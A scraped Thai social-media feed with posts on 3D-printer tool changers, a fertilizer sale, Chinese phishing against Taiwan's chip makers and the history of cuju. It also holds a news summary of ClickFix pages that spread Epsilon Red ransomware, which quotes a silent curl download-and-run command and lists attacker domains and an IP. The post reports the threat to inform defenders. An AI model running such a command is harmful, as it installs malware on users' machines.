    Bambu Lab เปิดตัว H2C ซึ่งแม้จะไม่ใช่ tool changer เต็มรูปแบบ แต่ก็ใช้แนวคิด “สลับหัวฉีด” โดยยังต้องพึ่งระบบ AMS ในการป้อนเส้นพลาสติก ส่วน Prusa กลับมาอย่างเงียบ ๆ ด้วยโพสต์ภาพ CORE One ที่ติดตั้งหัวพิมพ์ 6 หัว พร้อมอีโมจิป๊อปคอร์น และตามมาด้วยการยืนยันความร่วมมือกับ Bondtech ผู้พัฒนา INDX ซึ่งเป็นระบบ tool changer แบบไร้สายและใช้ความร้อนแบบเหนี่ยวนำ

    แนวคิดของ INDX คือการลดความซับซ้อนของหัวพิมพ์ให้เบาและง่ายต่อการสลับ โดยไม่ต้องใช้สายไฟหรือท่อเส้นพลาสติกที่ยุ่งยาก ทำให้ระบบมีความเสถียรและลดปัญหาการอุดตันของหัวฉีด

    การกลับมาของ Prusa กับ CORE One
    โพสต์ภาพ CORE One ที่ติดตั้งหัวพิมพ์ 6 หัว พร้อมอีโมจิป๊อปคอร์น
    ยืนยันความร่วมมือกับ Bondtech ในการใช้ระบบ INDX tool changer
    INDX ใช้ระบบไร้สายและความร้อนแบบเหนี่ยวนำ ทำให้หัวพิมพ์เบาและง่ายต่อการสลับ

    การเปิดตัวของ Snapmaker U1
    เปิดตัวบน Kickstarter ด้วยราคาต่ำสุด $649
    ระดมทุนได้กว่า $13 ล้านจากผู้สนับสนุนกว่า 14,000 คน
    รองรับการพิมพ์ 4 สีด้วยระบบ tool changer แบบ desktop

    การเปิดตัวของ AtomForm Palette 300
    มีหัวพิมพ์ถึง 12 หัวในพื้นที่ 300 x 300 x 300 mm
    ใช้เทคนิคสลับหัวแบบ low-footprint โดยยังไม่มีการสาธิตสด
    เตรียมเปิดตัวบน Kickstarter ด้วยราคาเริ่มต้น $1,499

    การเปิดตัวของ Bambu Lab H2C
    ใช้แนวคิด “สลับหัวฉีด” โดยยังต้องใช้ AMS ในการป้อนเส้นพลาสติก
    เปิดตัวหลัง H2S เพียง 1 ชั่วโมง สร้างความสับสนในตลาด
    เป็นการตอบโต้ต่อความสำเร็จของ Snapmaker และการมาถึงของ AtomForm

    จุดเด่นของระบบ INDX จาก Bondtech
    ใช้ระบบไร้สายและความร้อนแบบเหนี่ยวนำ ลดความซับซ้อนของหัวพิมพ์
    ลดปัญหาการอุดตันและการเสียเวลาจากการ purge เส้นพลาสติก
    สามารถติดตั้งบนเครื่องพิมพ์ DIY เช่น Voron ได้

    https://www.tomshardware.com/3d-printing/3d-printings-tool-changer-wars-heat-up-as-prusa-re-enters-the-ring
    🎙️ เรื่องเล่าจากสนามหัวพิมพ์: เมื่อ Prusa, Bambu, AtomForm และ Snapmaker เปิดศึกแย่งชิงอนาคตของการพิมพ์หลายสี ในเดือนสิงหาคม 2025 วงการ 3D printing สั่นสะเทือนด้วยการเปิดตัวเครื่องพิมพ์แบบ “tool changer” ถึง 4 รุ่นในเวลาใกล้เคียงกัน โดยแต่ละค่ายต่างมีแนวทางเฉพาะของตนเองในการจัดการกับปัญหา “การพิมพ์หลายสีหรือหลายวัสดุ” ที่เคยยุ่งยากและเปลืองวัสดุ Snapmaker เปิดตัว U1 บน Kickstarter ด้วยราคาต่ำสุดเพียง $649 สำหรับผู้สนับสนุนกลุ่มแรก และสามารถระดมทุนได้กว่า $13 ล้านจากผู้สนับสนุนกว่า 14,000 คนภายในไม่กี่วัน AtomForm จากจีนเปิดตัว Palette 300 ที่มีหัวพิมพ์ถึง 12 หัว โดยใช้เทคนิคสลับหัวแบบ low-footprint และเตรียมเปิดตัวบน Kickstarter ด้วยราคาเริ่มต้น $1,499 Bambu Lab เปิดตัว H2C ซึ่งแม้จะไม่ใช่ tool changer เต็มรูปแบบ แต่ก็ใช้แนวคิด “สลับหัวฉีด” โดยยังต้องพึ่งระบบ AMS ในการป้อนเส้นพลาสติก ส่วน Prusa กลับมาอย่างเงียบ ๆ ด้วยโพสต์ภาพ CORE One ที่ติดตั้งหัวพิมพ์ 6 หัว พร้อมอีโมจิป๊อปคอร์น และตามมาด้วยการยืนยันความร่วมมือกับ Bondtech ผู้พัฒนา INDX ซึ่งเป็นระบบ tool changer แบบไร้สายและใช้ความร้อนแบบเหนี่ยวนำ แนวคิดของ INDX คือการลดความซับซ้อนของหัวพิมพ์ให้เบาและง่ายต่อการสลับ โดยไม่ต้องใช้สายไฟหรือท่อเส้นพลาสติกที่ยุ่งยาก ทำให้ระบบมีความเสถียรและลดปัญหาการอุดตันของหัวฉีด ✅ การกลับมาของ Prusa กับ CORE One ➡️ โพสต์ภาพ CORE One ที่ติดตั้งหัวพิมพ์ 6 หัว พร้อมอีโมจิป๊อปคอร์น ➡️ ยืนยันความร่วมมือกับ Bondtech ในการใช้ระบบ INDX tool changer ➡️ INDX ใช้ระบบไร้สายและความร้อนแบบเหนี่ยวนำ ทำให้หัวพิมพ์เบาและง่ายต่อการสลับ ✅ การเปิดตัวของ Snapmaker U1 ➡️ เปิดตัวบน Kickstarter ด้วยราคาต่ำสุด $649 ➡️ ระดมทุนได้กว่า $13 ล้านจากผู้สนับสนุนกว่า 14,000 คน ➡️ รองรับการพิมพ์ 4 สีด้วยระบบ tool changer แบบ desktop ✅ การเปิดตัวของ AtomForm Palette 300 ➡️ มีหัวพิมพ์ถึง 12 หัวในพื้นที่ 300 x 300 x 300 mm ➡️ ใช้เทคนิคสลับหัวแบบ low-footprint โดยยังไม่มีการสาธิตสด ➡️ เตรียมเปิดตัวบน Kickstarter ด้วยราคาเริ่มต้น $1,499 ✅ การเปิดตัวของ Bambu Lab H2C ➡️ ใช้แนวคิด “สลับหัวฉีด” โดยยังต้องใช้ AMS ในการป้อนเส้นพลาสติก ➡️ เปิดตัวหลัง H2S เพียง 1 ชั่วโมง สร้างความสับสนในตลาด ➡️ เป็นการตอบโต้ต่อความสำเร็จของ Snapmaker และการมาถึงของ AtomForm ✅ จุดเด่นของระบบ INDX จาก Bondtech ➡️ ใช้ระบบไร้สายและความร้อนแบบเหนี่ยวนำ ลดความซับซ้อนของหัวพิมพ์ ➡️ ลดปัญหาการอุดตันและการเสียเวลาจากการ purge เส้นพลาสติก ➡️ สามารถติดตั้งบนเครื่องพิมพ์ DIY เช่น Voron ได้ https://www.tomshardware.com/3d-printing/3d-printings-tool-changer-wars-heat-up-as-prusa-re-enters-the-ring
    WWW.TOMSHARDWARE.COM
    3D printing's tool changer wars heat up as Prusa re-enters the ring
    Buckle up, the road to 3D printing tool changers is about to get bumpy.
    0 ความคิดเห็น 0 การแบ่งปัน 299 มุมมอง 0 รีวิว
  • “สุชาติ” Kick Off ธงเขียว by DIT ขายปุ๋ยถูก ยาดี ลดสูงสุด 60% ส่งตรงถึงมือเกษตรกรทั่วไทย
    https://www.thai-tai.tv/news/20776/
    .
    #สุชาติชมกลิ่น #ธงเขียว #ลดต้นทุนเกษตรกร #กระทรวงพาณิชย์ #ปุ๋ยราคาถูก #ไทยไท
    “สุชาติ” Kick Off ธงเขียว by DIT ขายปุ๋ยถูก ยาดี ลดสูงสุด 60% ส่งตรงถึงมือเกษตรกรทั่วไทย https://www.thai-tai.tv/news/20776/ . #สุชาติชมกลิ่น #ธงเขียว #ลดต้นทุนเกษตรกร #กระทรวงพาณิชย์ #ปุ๋ยราคาถูก #ไทยไท
    0 ความคิดเห็น 0 การแบ่งปัน 289 มุมมอง 0 รีวิว
  • เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ

    ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows

    เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ

    เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น

    Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย

    Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix”
    หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans
    หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย

    ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH)
    เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0)
    ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง

    แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้
    เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย
    ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง

    Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่
    มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง
    ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส

    โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี
    เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269
    มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี

    ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer มีความเสี่ยงสูงมาก
    ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว
    การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป

    องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง
    ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว
    Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที

    การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น
    ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch
    ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ

    ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา
    การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน
    ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย

    https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/
    🧠 เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย ✅ Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix” ➡️ หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans ➡️ หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย ✅ ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH) ➡️ เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0) ➡️ ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง ✅ แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้ ➡️ เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย ➡️ ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง ✅ Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่ ➡️ มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง ➡️ ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส ✅ โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี ➡️ เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269 ➡️ มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี ‼️ ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer มีความเสี่ยงสูงมาก ⛔ ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว ⛔ การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป ‼️ องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง ⛔ ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว ⛔ Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที ‼️ การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น ⛔ ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch ⛔ ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ ‼️ ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา ⛔ การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน ⛔ ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/
    HACKREAD.COM
    OnlyFans, Discord ClickFix-Themed Pages Spread Epsilon Red Ransomware
    Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread
    0 ความคิดเห็น 0 การแบ่งปัน 384 มุมมอง 0 รีวิว
  • เรื่องเล่าจากโลกไซเบอร์: เมื่อจีนใช้ phishing โจมตีอุตสาหกรรมชิปของไต้หวัน

    Proofpoint รายงานว่ามีอย่างน้อย 3 กลุ่มแฮกเกอร์ใหม่ ได้แก่ UNK_FistBump, UNK_DropPitch และ UNK_SparkyCarp ที่ร่วมกันโจมตีบริษัทในอุตสาหกรรมเซมิคอนดักเตอร์ของไต้หวัน ตั้งแต่เดือนมีนาคมถึงมิถุนายน 2025 โดยใช้เทคนิค spear phishing เพื่อหลอกให้เหยื่อเปิดอีเมลที่มีมัลแวร์

    เป้าหมายของการโจมตีคือบริษัทที่เกี่ยวข้องกับการผลิต ออกแบบ และทดสอบชิป รวมถึงบริษัทในห่วงโซ่อุปทานและนักวิเคราะห์การลงทุนที่เกี่ยวข้องกับตลาดเซมิคอนดักเตอร์ของไต้หวัน

    กลุ่มแฮกเกอร์ใช้เครื่องมือหลากหลาย เช่น Cobalt Strike, Voldemort (backdoor แบบ custom ที่เขียนด้วยภาษา C), HealthKick (backdoor ที่สามารถรันคำสั่ง) และ Spark (Remote Access Trojan) ซึ่งใช้โดยกลุ่มที่สี่ชื่อ UNK_ColtCentury หรือ TAG-100 (Storm-2077)

    นักวิจัยเชื่อว่าการโจมตีเหล่านี้สะท้อนยุทธศาสตร์ของจีนที่ต้องการลดการพึ่งพาเทคโนโลยีจากต่างประเทศ โดยเฉพาะจากสหรัฐฯ และไต้หวัน ซึ่งเป็นผู้ผลิตชิปรายใหญ่ของโลก

    Proofpoint พบการโจมตีจากกลุ่มแฮกเกอร์จีน 3 กลุ่มหลัก
    ได้แก่ UNK_FistBump, UNK_DropPitch และ UNK_SparkyCarp

    เป้าหมายคือบริษัทผลิต ออกแบบ และทดสอบเซมิคอนดักเตอร์ในไต้หวัน
    รวมถึงบริษัทในห่วงโซ่อุปทานและนักวิเคราะห์การลงทุน

    ใช้เทคนิค spear phishing เพื่อหลอกให้เปิดอีเมลที่มีมัลแวร์
    เป็นวิธีที่มีประสิทธิภาพในการเจาะระบบองค์กร

    เครื่องมือที่ใช้รวมถึง Cobalt Strike, Voldemort, HealthKick และ Spark
    เป็นมัลแวร์ที่สามารถควบคุมระบบจากระยะไกลและขโมยข้อมูล

    กลุ่ม UNK_ColtCentury (TAG-100 / Storm-2077) ใช้เทคนิคสร้างความไว้ใจก่อนโจมตี
    เป็นกลยุทธ์ที่เน้นการหลอกล่อแบบเชิงจิตวิทยา

    การโจมตีสะท้อนยุทธศาสตร์จีนในการพึ่งพาตนเองด้านเทคโนโลยี
    โดยเฉพาะในช่วงที่มีการควบคุมการส่งออกจากสหรัฐฯ และไต้หวัน

    การโจมตีแบบ spear phishing ยังเป็นภัยคุกคามหลักต่อองค์กร
    พนักงานควรได้รับการฝึกอบรมเพื่อระวังอีเมลหลอกลวง

    มัลแวร์ที่ใช้มีความสามารถในการควบคุมระบบและขโมยข้อมูลลึก
    อาจทำให้เกิดการรั่วไหลของข้อมูลเชิงพาณิชย์และเทคโนโลยีสำคัญ

    การโจมตีมีเป้าหมายเชิงยุทธศาสตร์ระดับประเทศ
    อาจส่งผลต่อความมั่นคงทางเศรษฐกิจและเทคโนโลยีของไต้หวัน

    การใช้เครื่องมือเช่น Cobalt Strike อาจหลบเลี่ยงระบบรักษาความปลอดภัยทั่วไป
    ต้องใช้ระบบตรวจจับภัยคุกคามขั้นสูงเพื่อป้องกัน

    https://www.techradar.com/pro/security/chinese-hackers-hit-taiwan-semiconductor-manufacturing-in-spear-phishing-campaign
    🎙️ เรื่องเล่าจากโลกไซเบอร์: เมื่อจีนใช้ phishing โจมตีอุตสาหกรรมชิปของไต้หวัน Proofpoint รายงานว่ามีอย่างน้อย 3 กลุ่มแฮกเกอร์ใหม่ ได้แก่ UNK_FistBump, UNK_DropPitch และ UNK_SparkyCarp ที่ร่วมกันโจมตีบริษัทในอุตสาหกรรมเซมิคอนดักเตอร์ของไต้หวัน ตั้งแต่เดือนมีนาคมถึงมิถุนายน 2025 โดยใช้เทคนิค spear phishing เพื่อหลอกให้เหยื่อเปิดอีเมลที่มีมัลแวร์ เป้าหมายของการโจมตีคือบริษัทที่เกี่ยวข้องกับการผลิต ออกแบบ และทดสอบชิป รวมถึงบริษัทในห่วงโซ่อุปทานและนักวิเคราะห์การลงทุนที่เกี่ยวข้องกับตลาดเซมิคอนดักเตอร์ของไต้หวัน กลุ่มแฮกเกอร์ใช้เครื่องมือหลากหลาย เช่น Cobalt Strike, Voldemort (backdoor แบบ custom ที่เขียนด้วยภาษา C), HealthKick (backdoor ที่สามารถรันคำสั่ง) และ Spark (Remote Access Trojan) ซึ่งใช้โดยกลุ่มที่สี่ชื่อ UNK_ColtCentury หรือ TAG-100 (Storm-2077) นักวิจัยเชื่อว่าการโจมตีเหล่านี้สะท้อนยุทธศาสตร์ของจีนที่ต้องการลดการพึ่งพาเทคโนโลยีจากต่างประเทศ โดยเฉพาะจากสหรัฐฯ และไต้หวัน ซึ่งเป็นผู้ผลิตชิปรายใหญ่ของโลก ✅ Proofpoint พบการโจมตีจากกลุ่มแฮกเกอร์จีน 3 กลุ่มหลัก ➡️ ได้แก่ UNK_FistBump, UNK_DropPitch และ UNK_SparkyCarp ✅ เป้าหมายคือบริษัทผลิต ออกแบบ และทดสอบเซมิคอนดักเตอร์ในไต้หวัน ➡️ รวมถึงบริษัทในห่วงโซ่อุปทานและนักวิเคราะห์การลงทุน ✅ ใช้เทคนิค spear phishing เพื่อหลอกให้เปิดอีเมลที่มีมัลแวร์ ➡️ เป็นวิธีที่มีประสิทธิภาพในการเจาะระบบองค์กร ✅ เครื่องมือที่ใช้รวมถึง Cobalt Strike, Voldemort, HealthKick และ Spark ➡️ เป็นมัลแวร์ที่สามารถควบคุมระบบจากระยะไกลและขโมยข้อมูล ✅ กลุ่ม UNK_ColtCentury (TAG-100 / Storm-2077) ใช้เทคนิคสร้างความไว้ใจก่อนโจมตี ➡️ เป็นกลยุทธ์ที่เน้นการหลอกล่อแบบเชิงจิตวิทยา ✅ การโจมตีสะท้อนยุทธศาสตร์จีนในการพึ่งพาตนเองด้านเทคโนโลยี ➡️ โดยเฉพาะในช่วงที่มีการควบคุมการส่งออกจากสหรัฐฯ และไต้หวัน ‼️ การโจมตีแบบ spear phishing ยังเป็นภัยคุกคามหลักต่อองค์กร ⛔ พนักงานควรได้รับการฝึกอบรมเพื่อระวังอีเมลหลอกลวง ‼️ มัลแวร์ที่ใช้มีความสามารถในการควบคุมระบบและขโมยข้อมูลลึก ⛔ อาจทำให้เกิดการรั่วไหลของข้อมูลเชิงพาณิชย์และเทคโนโลยีสำคัญ ‼️ การโจมตีมีเป้าหมายเชิงยุทธศาสตร์ระดับประเทศ ⛔ อาจส่งผลต่อความมั่นคงทางเศรษฐกิจและเทคโนโลยีของไต้หวัน ‼️ การใช้เครื่องมือเช่น Cobalt Strike อาจหลบเลี่ยงระบบรักษาความปลอดภัยทั่วไป ⛔ ต้องใช้ระบบตรวจจับภัยคุกคามขั้นสูงเพื่อป้องกัน https://www.techradar.com/pro/security/chinese-hackers-hit-taiwan-semiconductor-manufacturing-in-spear-phishing-campaign
    0 ความคิดเห็น 0 การแบ่งปัน 495 มุมมอง 0 รีวิว
  • https://youtu.be/KiCkeGArceY?si=e1Zd2hwf3jyLK7EZ
    https://youtu.be/KiCkeGArceY?si=e1Zd2hwf3jyLK7EZ
    0 ความคิดเห็น 0 การแบ่งปัน 137 มุมมอง 0 รีวิว
  • Storyฯ เพิ่งดูละครเรื่อง <สตรีหาญ ฉางเกอ> ตอนที่หนึ่งเปิดตัวพระนางด้วยการแข่งขันอันเร้าใจของเกมกีฬาที่เรียกว่า ‘ชู่จวี’ (蹴鞠 หรือที่ BBC เขาเรียกเป็นภาษาอังกฤษว่า Kickball) เป็นศัพท์จีนที่จำตัวเขียนได้ยากมาก ไปทำการบ้านมาจึงพบว่าในเว็บจีนต่างพูดถึงเกมชู่จวีนี้ว่าเป็นต้นกำเนิดของฟุตบอล

    แต่เนื่องจากเพื่อนชาวอังกฤษของ Storyฯ พูดอย่างเต็มปากเต็มคำว่าฟุตบอลเป็นกีฬาของอังกฤษ Storyฯ จึงต้องไปหาข้อมูลเพิ่ม ปรากฏว่านาย Kevin Moore ผู้อำนวยการของ National Football Museum แห่งอังกฤษกล่าวไว้หลายปีแล้วดังนี้ค่ะ “While England is the birthplace of the modern game as we know it, we have always acknowledged that the origins of the game lie in China” ซึ่งหมายความว่า วิธีการเล่น/แข่งฟุตบอลในรูปแบบปัจจุบันนั้นถือกำเนิดจากอังกฤษก็จริง แต่ฟุตบอลมีรากฐานมาจากจีน

    กลับมาที่ชู่จวีกันดีกว่า

    ความ ‘เอ๊ะ’ เกิดขึ้นเมื่อเห็นในละครเรื่อง <สตรีหาญ ฉางเกอ> ที่รูปร่างหน้าตาของ ‘บอล’ มันเหมือนตะกร้อมากเลย คือดูจะเป็นหวายสาน (ตามรูปขวาบนจากในละคร) แต่ Storyฯ เคยเห็นในละครเรื่องอื่นดูวัสดุคล้ายผ้าก็มี ก็เลยต้องไปทำการบ้านอีก

    เลยมีรูปจากพิพิธภัณฑ์กีฬาส่านซีมาฝาก (รูปขวาล่าง) เป็นรูปของลูกบอลที่ใช้ในสมัยราชวงศ์ฮั่น (ปี 202 ก่อนคริสตกาล – ปีค.ศ. 220, คือลูกซ้าย) และราชวงศ์ถัง (ค.ศ. 618-907, คือลูกขวา) สังเกตได้ว่าการตัดเย็บไม่เหมือนกัน แต่สรุปว่าทั้งคู่ทำมาจากหนังนะจ๊ะ ส่วนไส้ในนั้นจะเป็นขนเป็ดขนไก่

    ในสมัยราชวงศ์ฮั่น การเล่นชู่จวีสามารถเล่นแบบโชว์เดี่ยว เป็นการแสดงทักษะและลีลาของผู้เล่น ต่อมาในสมัยราชวงศ์ถังจึงมีการเล่นแข่งเป็นทีม ซึ่งวิธีเล่นโดยหลักคือแข่งกันเตะลูกเข้าโกล โกลเป็นห่วงทรงกลมขนาดเส้นผ่าศูนย์กลางประมาณหนึ่งฟุต ตั้งอยู่ตรงกลางสนาม เรียกว่า เฟิงหลิวเหยี่ยน (Eye of the Flowing Wind) สูงเหนือพื้นประมาณสิบเมตร มีเอกสารทางประวัติศาสตร์จากสมัยราชวงศ์ซ่งไม่น้อยที่บรรยายถึงกฎกติกาการเล่นชู่จวีอย่างชัดเจน

    ชู่จวีเป็นกิจกรรมกีฬาที่ได้รับความนิยมอย่างมากในยุคสมัยราชวงศ์ฮั่น แต่ว่ากันว่ายุคเฟื่องฟูของมันจริงๆ คือสมัยราชวงศ์ถัง-ซ่ง เพราะงานเลี้ยงในวังหรืองานเลี้ยงฉลองต้อนรับทูตสัมพันธไมตรีจากแคว้นต่างๆ มักจัดให้มีการเล่นชู่จวี นอกจากนี้ยังมีการเล่นกันอย่างแพร่หลายในสังคมเมืองใหญ่อีกด้วย ผู้เล่นเดิมเป็นลูกหลานตระกูลผู้ดี เป็นผู้หญิงก็เล่นได้ (ในสมัยราชวงศ์ถัง) ต่อมาจึงมีนักเล่นมืออาชีพมาร่วมทีมด้วย แต่เมื่อผ่านยุคสมัยราชวงศ์ซ่งก็ค่อยๆ คลายความนิยมลง

    (ป.ล. หากอ่านแล้วชอบใจ ช่วยกดไลค์กดแชร์กันด้วยนะคะ ติดตามได้ที่ @StoryfromStory)

    Credit รูปภาพจาก:
    https://mydramalist.com/photos/eN5EY_3
    https://14th.xiancn.com/2021-04/22/content_6220692.html
    Credit ข้อมูลรวบรวมจาก:
    https://www.bbc.com/news/magazine-35409594
    https://14th.xiancn.com/2021-04/22/content_6220692.html
    https://www.epochtimes.com/gb/16/6/18/n8010456.htm
    http://view.inews.qq.com/a/20200915A0HSBN00?tbkt=B3&uid=

    #สตรีหาญฉางเกอ #ชู่จวี #ราชวงศ์ถัง #วัฒนธรรมจีนโบราณ StoryfromStory
    Storyฯ เพิ่งดูละครเรื่อง <สตรีหาญ ฉางเกอ> ตอนที่หนึ่งเปิดตัวพระนางด้วยการแข่งขันอันเร้าใจของเกมกีฬาที่เรียกว่า ‘ชู่จวี’ (蹴鞠 หรือที่ BBC เขาเรียกเป็นภาษาอังกฤษว่า Kickball) เป็นศัพท์จีนที่จำตัวเขียนได้ยากมาก ไปทำการบ้านมาจึงพบว่าในเว็บจีนต่างพูดถึงเกมชู่จวีนี้ว่าเป็นต้นกำเนิดของฟุตบอล แต่เนื่องจากเพื่อนชาวอังกฤษของ Storyฯ พูดอย่างเต็มปากเต็มคำว่าฟุตบอลเป็นกีฬาของอังกฤษ Storyฯ จึงต้องไปหาข้อมูลเพิ่ม ปรากฏว่านาย Kevin Moore ผู้อำนวยการของ National Football Museum แห่งอังกฤษกล่าวไว้หลายปีแล้วดังนี้ค่ะ “While England is the birthplace of the modern game as we know it, we have always acknowledged that the origins of the game lie in China” ซึ่งหมายความว่า วิธีการเล่น/แข่งฟุตบอลในรูปแบบปัจจุบันนั้นถือกำเนิดจากอังกฤษก็จริง แต่ฟุตบอลมีรากฐานมาจากจีน กลับมาที่ชู่จวีกันดีกว่า ความ ‘เอ๊ะ’ เกิดขึ้นเมื่อเห็นในละครเรื่อง <สตรีหาญ ฉางเกอ> ที่รูปร่างหน้าตาของ ‘บอล’ 